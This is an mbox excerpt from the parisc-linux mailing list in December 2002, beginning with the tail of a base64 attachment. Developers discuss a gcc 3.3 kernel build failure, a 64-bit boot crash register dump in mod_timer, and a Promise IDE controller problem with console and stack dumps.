I0ZBCJaIw+NVJ2qheYkxh/AJL3kRFedHJwQoyEMaLA/t5VD7PueMOQ2VHm0WH9Iz5cYKKBtrH1OD
U19btWl8DpDkDQftJMLYbwXm7qwTuS4qX4F+xCEPpDyRWxIVgUT1ET+smAeGfL1VyceSmuJCzQKK
DQisnW5+ssIXRuaYRYwREfEiKUQ+9UNRiatphcw/whU3u4TZTAZ9JJiOna3C7uE0UwQDVCn9zbsu
sThKGw2bQ1oXJZqg4GM4u97yu0yZKytQqyMcarlg6mN1rQ5GBZczRiFBTNa1opwIa4zNRJ9+sE8M
H+E/if1TRs0RJYKKAoiKpFFUjGfiIhWsFEYM/z/P5r0Otaw9n9PtuT2qFZWb4o2np8bpM/DxhCoQ
rDhCRXMRnBSG+aUD36oY9fgJ8FvC8E0JUWBFINoFSCrAIoBCsCT714Re2cbk3mHUwTNxhDjRQGDb
C2/1OPwhgijISIwAWAoSEVRCRYkVkGECEVIRFkVSMjEZBYCCBBYEESBFCIikBQioiIIgRixAkYhI
wYKLBSQYxEixZAigpEZGCCJIxhGIMSQUYMiokRgRYMiSKxCKEYKgCrFRZEESRSRjIoQWQESDESMA
SCoEViRIiqQFCKEIpFJCKxSLBCMGCKQQURgjAkWCkWIjBkiMiiwVSKkWCiwYKRSIxQICqAqwUYIi
CkYyKIwgCwRUREBIyIiCIQVWKsSMZGMEUEERggAwGKggJERWEEEEkVJGRgMEiRFgDFYREQFiMgox
EYggKsWDABkYojEixFGAiQGRBRIikYRgKRkioCAxkSLEgwGMBGRiMYgiRkUQRYMFjFFVJGMSIogM
iCsQVBYEQEFgiiJFYIRYAsRkGMEYIjBhGAkjGQQYRYRkAVhGKoMGEBCAjEBCKMjCAwQUgwVixjAQ
YKBFYgCkiwBQUQQFFkYRFgLEjIESCEFJIKSAoKMGBEAYCoRkZBIsigJBSIRWQIxJGQVCKEEkJBAQ
BSCwWAsgoQUIpAEUVgoIrEiKKqDFAQQSRSRURkWLBRgCqxVZJARRViiIIoASKgqQgKSCoqowDbWV
qiDIKiCC2QDaKKLIYBqnPqkrFh9MOEUUU/LRSzgCnMJJoooop+ABIBb/4RQDxAwPgjuQI60V2jQd
Ml08yk3gEwWtS8aQ7hIsSIXDJEEkUk7TmSet3V/9Vc0In/wzV2qq5lLcxTMzMzMzMzMXLbmbNima
YqkVVNbXLbbk3s1CsjSyaVVVVVcwUzFVVXMMxMwtohvZrNF2mRYsiCDI4MH+Z4Pv9rRrR+/9OOYy
MIyCPwBlVGfKGsNaPVwLcikYLIoMhAgAyIkVDKIKBBPt7UeGdao8FEISiSpJvVnwpRNWpbWLbUtr
O82mBpunFWTIazNHGwyOprIOUZlxcBqiM3/D++8/uccMIjAIjARkXGSsICyCMhKkoxZBEgxIQUJU
kKrCIrIsBIKRkWMVIjBIqwUBJIqCqAsRiSMRiMSMWkGVWWz4cH+4afc/X+BdOtGcaDJm13++d63E
wKSYUqoVKXhGCv69OjxtlcBm0WlpyrsutSKAcUxDSh6KTO4oQLUzjQytRmMxKgEtIZy5UlwPAg5o
plBIgPYa0WYAD4ywQVxctenFgw+LhIDM5Ajw4imq6qkag9C0EmCvFNhSzXHBrnOMMzqL5oaxLxVS
9QMudGtdxYIZZHi04ki1ouJVW6jYeOSxt654tihiGQt+a0Pfd4eNhd7Pc03dlbkqatzWBnXjj5EF
LsgYDKTx/bpnNbpQoGwMbshiGRlSF0KgEW4WkLEiVg7WXNDLNQItXM37gKHXIu4IZMPZiiGmoChp
hwXMGg7hlMinZVgFDMOMimEia2GyBkQMAYgVltq4qEYZEMLLJoewwyRYOFZuR1y3kAhNijoChYV+
GLFZ7dyTCxADswJtKh0Xjqou1wHlCKV0itTYSJZgSg4xeymuhBTDId4DSDgZzArKvsuhgSLkucMQ
+KlhzNAUqgu+XaiBJCghUDYo2H5l6g5CikHEwORl5ogU+6ewBXA4jiAuVDbbOmUqRmmxCE77hRS8
gFErIoLrTFisU7kmFiAHZgTSVDoutVF2uA8oRSukVmbCRLMCUHGL4Ka6EFMMh3gNIOBnMCsq+38S
ihP2UAgp5ijGJoipvAvDuair3fBklUS+oAUKADjjeLc8WtP4YKFFqxowM4YTjbWLIv2FUBUNO1Cb
KibpzBMG/qwW9ZEV7NTcm59zn2TizR2lPQiirFHqj62XvmnfFnN7mQ5FZoNcZnd17+6mHl7YaOpU
GTsThVHZ3ZpnFzrWhA6nHUw43Tnv6nFXpiwveqd24v9GrpW+MZ3mtNq4xRC/eWuz1UzPnfPAO6WU
zgNYzppS0VU3riXcskTOGxkDOVIRwKJJPCscuoYE6Eo+8hCu8thyqlFYeOixTm2beKGsZrJUKGWH
l6jM6tjA2fNPvo9vfo65TtnYCTySXPN2bDdMnXG9tTmbAoDyXi2YiHVSL5ZFtJWC2FoIBuGHOhQB
AmEplw7HQIL1pqyZ1z8bBmgr7WWgddyjljiWNg2Tl4ZrKV9TDHepzPIc+XUk5avBxTDW8N6hyhvR
TzptNkvBZxjxLnBZd84HByHzA4VX8fD40y8M5qh3hmGYG0HxKpJLkGUVA5AdlgzLpkxG03OJuXZC
QmiiKUdQsJCDh8CXIJ3kKyJQ2qayu882BTERaMYwwU9MvUt9LhyDqHIydunhNCFITniXFnIsKZwH
Gzxlw7g28QxgYnOpd5zTfGhmjnUNodz0DN/re5yhoTOWUUNPHmzEni84Hi1fWwpPRb578ejQenJ3
TkOLvS4ktrg3mL0NRmtPDAtINN2lzOTAbb5Jgs2DhCybELGLtqyxo6ju5jWS4WerZOG1rd7Nc7tN
W4mbfDLmjPUzMJacGsmp68XljxZvlAu3c1oMxJuw1kuDNYYaJVZqlOlFhTYYd5Zk64nVzUd805cc
1YvdyUZKabpJQVRTL1xmgw6zznnjjAL57pru9cBhho1rrFZQxmnZssOT1u4Lu5Dc8sU3JnMMhotm
uKW80M1neTs2X0dzrvviaiFeGzvNeXJrcxni0F05ro34engChhVUNnd8s4Q7Q2dX6s8ezrh8CaAm
008VZl3KMiAcRC4RUz78/Zf74xVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
VVVVVVVVVVVXeiHDO0gpA/cEKgHSBLqmQYeUMSHMQ+x1Nj9mCEkhJGRhJQO/wuL+91DQOxDBxAub
AFx2MFlRLIuZIkiRYoKopFFCbAwhIcILJCdC9GhW74dbXxbRLQCSyNr4bYRmyCmeSSiAIyDh+28c
5ePCkVZFgLAVSIgosFiyMVggrIsgoIqLFjFEFIMEFisEUWEYoEiMiSAwiBJD0L7kyURpVdPXnuEN
+dsTTU4v8uCKKCKRYizC6wrbKuNREKliqrFFBFioJ9DKDF/Y2jEUsulVh0MrS2YYWBYmDKCtTQxE
0ww0UIpRlBWpoYiaYYahQiCICii85MIIwwYUZNOEBLEwEIJjagspYVaDbaWyxIZBmZZLQohiFmUa
VXAywMVIKDaSuMFCqGUOomkx0sGMZjKLillqDZQYiqqP1e9AozPMNc/XLrRu4nNC7M2TGGcQC/A9
ZFBVhn8yU2J3ZWTQx1YP2RahqLVmgjFWEatiwhciXS0ICgAVIyRAmmRSBWAGza51v8sUkMIcJIGz
6+NET1fk5n0ydoKkgHOYukLcBw4tUbUCcCEm+LaaTRIaW0Q9MoHj99YTebA1FAQdRkRCsFhYpvJk
mB4Iz6M6mwmk2TW8MihwSSaxeHJxJJPKmfAkCOuIhbJM7nX37a3gwvvz4LjSgG7qBnuxUr9fvzdl
e736tW1UZzbN/EzDpcQqPqNSRkPmQbKB5GCLdjCCSLzEf6Pby89S3O2t3nv3OTmIdfS7+0niQSYy
zKatGtGlDUHWIkRMY0uZCAYZAuUyNZ/HUA+cSckskPeiFyDrYcBv463ygQgoSSdYpaIUDWBUhiAp
EQWEIjJJNk/qdIMdk6OOrIQGJzCp34PbYxod9qgffRQUjeJjy77OKNKcXO2KvWOeI3ouAQiBAgmY
Km0ersvsWtkSOLHBauYNDnYbJmmp2z2ejzYC8ex1k9Mg/+cTiOsId9uHzOCJYlqHIDRZDIXDr1IM
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
iPe8hvDD5YXYTX0aPTsLa+z//xdyRThQkDN1HGI=
--'ThIs-RaNdOm-StRiNg-/=_.58772825:--




From - Thu Nov 08 21:25:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-snapshot (3.3) and linux-2.4.20-pa13
Date: Fri, 13 Dec 2002 22:35:36 +0000 (GMT)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0212132231260.18468-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622022 18646 80.91.229.3 (22 Nov 2014 02:07:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 13 15:35:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07A734829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 15:35:42 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id gBDMaH806588
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 22:36:17 GMT
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17102

Debian's gcc snapshot won't compile the kernel, (probably) due to the
same reason as here:

====
Changes since 1.46: +1 -1 lines
Diff to previous 1.46

2.5.47-pa8: remove reference to $$mulU millicode function for gcc 3.3
=====

at least it's the same error message ('undefined reference ...').

greetings max



From - Thu Nov 08 21:25:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa14 64bit crash on boot - A500-5X
Date: Fri, 13 Dec 2002 23:35:40 +0100
Organization: ESIEE
Lines: 52
Approved: news@gmane.org
Message-ID: <20021213233540.503b16d3.varenet@esiee.fr>
References: <20021213132838.F044D49C55@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622023 18648 80.91.229.3 (22 Nov 2014 02:07:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 13 15:35:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 776F84829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 15:35:51 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id gBDMZgas004270
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 23:35:43 +0100
In-Reply-To: <20021213132838.F044D49C55@mail.esiee.fr>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17103

I strike again, now being able to provide a first analysis of the reg dump:

IAOQ = 0000000010143c48
AOUT: 0x10143c48 mod_timer+b0
Func: mod_timer, Off: b0, Addr: 0x10143c48
    10143c40:	0e 70 10 d3 	ldd 8(sr0,r19),r19
    10143c44:	0e 60 10 d4 	ldd 0(sr0,r19),r20
    10143c48:	0e 83 12 d0 	std r3,8(sr0,r20)
    10143c4c:	0c 74 12 c0 	std r20,0(sr0,r3)
    10143d2c:	e8 1f 1e 1d 	b,l 10143c40 <mod_timer+0xa8>,r0
    10143d60:	e8 1f 1d b5 	b,l 10143c40 <mod_timer+0xa8>,r0

GR2 = 0000000010143bd4
AOUT: 0x10143bd4 mod_timer+3c
Func: mod_timer, Off: 3c, Addr: 0x10143bd4
    10143bd0:	08 01 02 5a 	copy r1,r26
    10143bd4:	08 06 02 5b 	copy r6,dp
    10143bd8:	70 64 00 20 	std r4,10(r3)
    10143bdc:	0c 60 10 d4 	ldd 0(sr0,r3),r20

GR3 = 0000000010538b48
AOUT: 0x10538b48 hp_diva_timer+0
Func: hp_diva_timer, Off: 0, Addr: 0x10538b48

GR20 = 0000000000000000

Kernel addresses on the stack:
[<0000000010143bd4>]  mod_timer+3c
[<000000001014bf2c>]  dev_probe_lock+54
[<0000000010281a94>]  pci_announce_device+7c
[<000000001014018c>]  __request_region+134
[<0000000010281b98>]  pci_register_driver+b8
[<00000000101003c0>]  init+30
[<0000000010108460>]  ret_from_kernel_thread+1c
[<0000000010108518>]  _switch_to_ret+0
[<00000000101317dc>]  __wake_up+13c
[<0000000010137c98>]  release_console_sem+1a0
[<0000000010326804>]  __umoddi3+1c
[<0000000010100390>]  init+0
[<0000000010137960>]  printk+230

spin_unlock(000000001039a8d0): no lock cpu 0 curr PC 00000000101101a4
0x1039a8d0 pdc_lock+0
0x101101a4 pdc_emergency_unlock+24

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:25:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-snapshot (3.3) and linux-2.4.20-pa13
Date: Fri, 13 Dec 2002 17:46:54 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200212132246.gBDMks9q029156@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.44.0212132231260.18468-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622023 18656 80.91.229.3 (22 Nov 2014 02:07:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 13 15:47:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CC8F4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Dec 2002 15:47:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBDMktot029157;
	Fri, 13 Dec 2002 17:46:55 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBDMks9q029156;
	Fri, 13 Dec 2002 17:46:54 -0500 (EST)
In-Reply-To: <Pine.LNX.4.44.0212132231260.18468-100000@sal.ucc.ie> from "M. Grabert" at Dec 13, 2002 10:35:36 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17104

> ====
> Changes since 1.46: +1 -1 lines
> Diff to previous 1.46
> 
> 2.5.47-pa8: remove reference to $$mulU millicode function for gcc 3.3
> =====

The routine doesn't exist.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Steindlberger <j@steindlberger.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems with PCI IDE controller
Date: Sat, 14 Dec 2002 12:48:43 +0100
Lines: 252
Approved: news@gmane.org
Message-ID: <courier.3DFB1AEA.0000527C@server01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622023 18658 80.91.229.3 (22 Nov 2014 02:07:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:03 +0000 (UTC)
To: PARISC-LINUX <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 14 04:50:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from server01 (server01.steindlberger.de [217.115.138.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8182A482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Dec 2002 04:50:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
  (uid 0)
  by server01 with local; Sat, 14 Dec 2002 12:50:02 +0100
FCC: mailbox://nobody@Local%20Folders/Sent
X-Mozilla-Draft-Info: internal/draft; vcard=0; receipt=0; uuencode=0
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2) Gecko/20021204 Debian/1.2.1-1
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17105

Hi,

I got some problems with using an IDE controller with my C240 (same in 
my C360). The controller itself works best in x86 architectures. It's a 
non RAID controller produces by Promise. The kernel is a 
linux-2.4.20-pa14 whith all the IDE stuff built as kernel modules. 
Earlier replies to my problem says that it could be a problem with the 
probing of the intel's default IO ports for IDE controllers.

Here is what I did: Building the kernel - booting the system - doing a 
modprobe -k ide-disk (from remote) - pressing Transfer Of Control - 
interrupting boot sequence and typing ser pim. And here is the output of 
the console: (thank You for helping - Joerg)

hp-c240 login:
Debian GNU/Linux testing/unstable hp-c240 tts/0

hp-c240 login: Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
PDC20268: IDE controller on PCI bus 00 dev 08
PDC20268: chipset revision 2
PDC20268: not 100% native mode: will probe irqs later


Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
PDC20268: IDE controller on PCI bus 00 dev 08
PDC20268: chipset revision 2
PDC20268: not 100% native mode: will probe irqs later

Stack Dump:
  2f1a0900:  00000002 73747576 6f707172 6b6c6d6e
  2f1a08f0:  6768696a 1010fdec 00000000 0000000f
  2f1a08e0:  103dee76 10323810 10323b68 00000036
  2f1a08d0:  00000061 00000000 00000001 10323810
  2f1a08c0:  00000000 00000002 103df23f 00000010
  2f1a08b0:  103dee40 0002423c 00000400 1037da4c

Kernel addresses on the stack:
  [<1010fdec>]  [<0002423c>]  [<0002ec19>]  [<1024ba78>]
  [<00034b44>]  [<000204c8>]  [<00034b44>]  [<0002ebe8>]
  [<0002e898>]  [<1011cd58>]  [<102d0cec>]  [<00034b44>]
  [<00036010>]  [<1011ce84>]  [<00034b44>]  [<00036010>]
  [<000300ea>]  [<0002120c>]  [<00036010>]  [<0002ee98>]
  [<0002e898>]  [<1011cd58>]  [<00036010>]  [<00036010>]
